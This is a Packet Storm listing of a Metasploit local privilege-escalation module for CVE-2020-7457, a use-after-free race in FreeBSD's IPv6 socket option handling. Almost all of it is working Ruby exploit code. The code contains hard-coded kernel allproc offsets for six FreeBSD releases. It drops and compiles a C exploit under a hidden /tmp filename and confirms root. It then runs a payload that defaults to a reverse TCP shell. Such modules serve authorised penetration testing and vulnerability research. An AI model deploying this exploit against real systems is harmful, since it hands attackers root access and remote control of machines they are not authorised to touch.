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FreeBSD ip6_setpktopt Use-After-Free Privilege Escalation

FreeBSD ip6_setpktopt Use-After-Free Privilege Escalation
Posted Jul 31, 2020
Authored by Brendan Coles, Andy Nguyen | Site metasploit.com

This Metasploit module exploits a race and use-after-free vulnerability in the FreeBSD kernel IPv6 socket handling. A missing synchronization lock in the IPV6_2292PKTOPTIONS option handling in setsockopt permits racing ip6_setpktopt access to a freed ip6_pktopts struct. This exploit overwrites the ip6po_pktinfo pointer of a ip6_pktopts struct in freed memory to achieve arbitrary kernel read/write.

tags | exploit, arbitrary, kernel
systems | freebsd, bsd
advisories | CVE-2020-7457
MD5 | 1349f7155a1c7dce0d1fdef5aa98748a

FreeBSD ip6_setpktopt Use-After-Free Privilege Escalation

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = GreatRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Post::File
include Msf::Post::Unix
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(
update_info(
info,
'Name' => 'FreeBSD ip6_setpktopt Use-After-Free Privilege Escalation',
'Description' => %q{
This module exploits a race and use-after-free vulnerability in the
FreeBSD kernel IPv6 socket handling. A missing synchronization lock
in the `IPV6_2292PKTOPTIONS` option handling in `setsockopt` permits
racing `ip6_setpktopt` access to a freed `ip6_pktopts` struct.

This exploit overwrites the `ip6po_pktinfo` pointer of a `ip6_pktopts`
struct in freed memory to achieve arbitrary kernel read/write.

This module has been tested successfully on:

FreeBSD 9.0-RELEASE #0 (amd64);
FreeBSD 9.1-RELEASE #0 r243825 (amd64);
FreeBSD 9.2-RELEASE #0 r255898 (amd64);
FreeBSD 9.3-RELEASE #0 r268512 (amd64);
FreeBSD 12.0-RELEASE r341666 (amd64); and
FreeBSD 12.1-RELEASE r354233 (amd64).
},
'License' => MSF_LICENSE,
'Author' =>
[
'Andy Nguyen', # @theflow0 - discovery and exploit
'bcoles' # metasploit
],
'DisclosureDate' => '2020-07-07',
'Platform' => ['bsd'], # FreeBSD
'Arch' => [ARCH_X64],
'SessionTypes' => ['shell'],
'References' =>
[
['CVE', '2020-7457'],
['EDB', '48644'],
['PACKETSTORM', '158341'],
['URL', 'https://hackerone.com/reports/826026'],
['URL', 'https://bsdsec.net/articles/freebsd-announce-freebsd-security-advisory-freebsd-sa-20-20-ipv6'],
['URL', 'https://www.freebsd.org/security/patches/SA-20:20/ipv6.patch'],
['URL', 'https://github.com/freebsd/freebsd/blob/master/sys/netinet6/ip6_var.h'],
['URL', 'https://github.com/freebsd/freebsd/blob/master/sys/netinet6/ip6_output.c']
],
'Targets' =>
[
[
'Automatic',
{}
],
[
'FreeBSD 9.0-RELEASE #0',
{
allproc: '0xf01e40'
}
],
[
'FreeBSD 9.1-RELEASE #0 r243825',
{
allproc: '0x1028880'
}
],
[
'FreeBSD 9.2-RELEASE #0 r255898',
{
allproc: '0x11c9ba0'
}
],
[
'FreeBSD 9.3-RELEASE #0 r268512',
{
allproc: '0x1295800'
}
],
[
'FreeBSD 12.0-RELEASE r341666',
{
allproc: '0x1df3c38'
}
],
[
'FreeBSD 12.1-RELEASE r354233',
{
allproc: '0x1df7648'
}
],
],
'DefaultOptions' =>
{
'PAYLOAD' => 'bsd/x64/shell_reverse_tcp',
'PrependFork' => true,
'WfsDelay' => 10
},
'Notes' =>
{
'Stability' => [CRASH_OS_RESTARTS],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
},
'DefaultTarget' => 0
)
)
register_advanced_options([
OptInt.new('NUM_SPRAY', [true, 'Spray iterations', 256]),
OptInt.new('NUM_SPRAY_RACE', [true, 'Race iterations', 32]),
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
])
end

def base_dir
datastore['WritableDir'].to_s
end

def upload(path, data)
print_status("Writing '#{path}' (#{data.size} bytes) ...")
rm_f(path)
write_file(path, data)
register_file_for_cleanup(path)
end

def strip_comments(c_code)
c_code.gsub(%r{/\*.*?\*/}m, '').gsub(%r{^\s*//.*$}, '')
end

def select_target(kernel_version)
targets.each do |t|
return t if kernel_version.include?(t.name)
end
nil
end

def check
kernel_version = cmd_exec('uname -v').to_s

unless kernel_version.include?('FreeBSD')
return CheckCode::Safe('Target system is not FreeBSD')
end

kernel_arch = cmd_exec('uname -m').to_s

unless kernel_arch.include?('64')
return CheckCode::Safe("System architecture #{kernel_arch} is not supported")
end

vprint_good("System architecture #{kernel_arch} is supported")

unless select_target(kernel_version)
return CheckCode::Safe("No target for #{kernel_version}")
end

vprint_good("#{kernel_version} appears vulnerable")

unless command_exists?('cc')
return CheckCode::Safe('cc is not installed')
end

vprint_good('cc is installed')

CheckCode::Appears
end

def exploit
if is_root?
unless datastore['ForceExploit']
fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
end
end

unless writable?(base_dir)
fail_with(Failure::BadConfig, "#{base_dir} is not writable")
end

if target.name == 'Automatic'
kernel_version = cmd_exec('uname -v').to_s
my_target = select_target(kernel_version)
unless my_target
fail_with(Failure::NoTarget, "No target for #{kernel_version}")
end
else
my_target = target
end

print_status("Using target: #{my_target.name} - allproc offset: #{my_target[:allproc]}")

exploit_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
exploit_data = exploit_data('CVE-2020-7457', 'exploit.c')

if my_target.name.start_with?('FreeBSD 12')
exploit_data.gsub!('// #define FBSD12', '#define FBSD12')
end

exploit_data.gsub!(/#define ALLPROC_OFFSET .*$/, "#define ALLPROC_OFFSET #{my_target[:allproc]}")

exploit_data.gsub!(/#define NUM_SPRAY 0x100/, "#define NUM_SPRAY #{datastore['NUM_SPRAY']}")
exploit_data.gsub!(/#define NUM_KQUEUES 0x100/, "#define NUM_KQUEUES #{datastore['NUM_SPRAY']}")
exploit_data.gsub!(/#define NUM_SPRAY_RACE 0x20/, "#define NUM_SPRAY_RACE #{datastore['NUM_SPRAY_RACE']}")

upload("#{exploit_path}.c", strip_comments(exploit_data))

print_status("Compiling #{exploit_path}.c ...")
output = cmd_exec("cc '#{exploit_path}.c' -o '#{exploit_path}' -std=c99 -lpthread")
register_file_for_cleanup(exploit_path)

unless output.blank?
print_error(output)
fail_with(Failure::Unknown, "#{exploit_path}.c failed to compile")
end

payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"

upload_and_chmodx(payload_path, generate_payload_exe)
register_file_for_cleanup(payload_path)

timeout = 30
print_status("Launching exploit (timeout: #{timeout}s) ...")
output = cmd_exec(exploit_path, nil, timeout).to_s
output.each_line { |line| vprint_status line.chomp }

sleep(3)

print_status(cmd_exec('id').to_s)

unless is_root?
fail_with(Failure::Unknown, 'Exploit completed without elevating privileges')
end

print_good('Success! Executing payload...')

cmd_exec("#{payload_path} & echo ")
end
end
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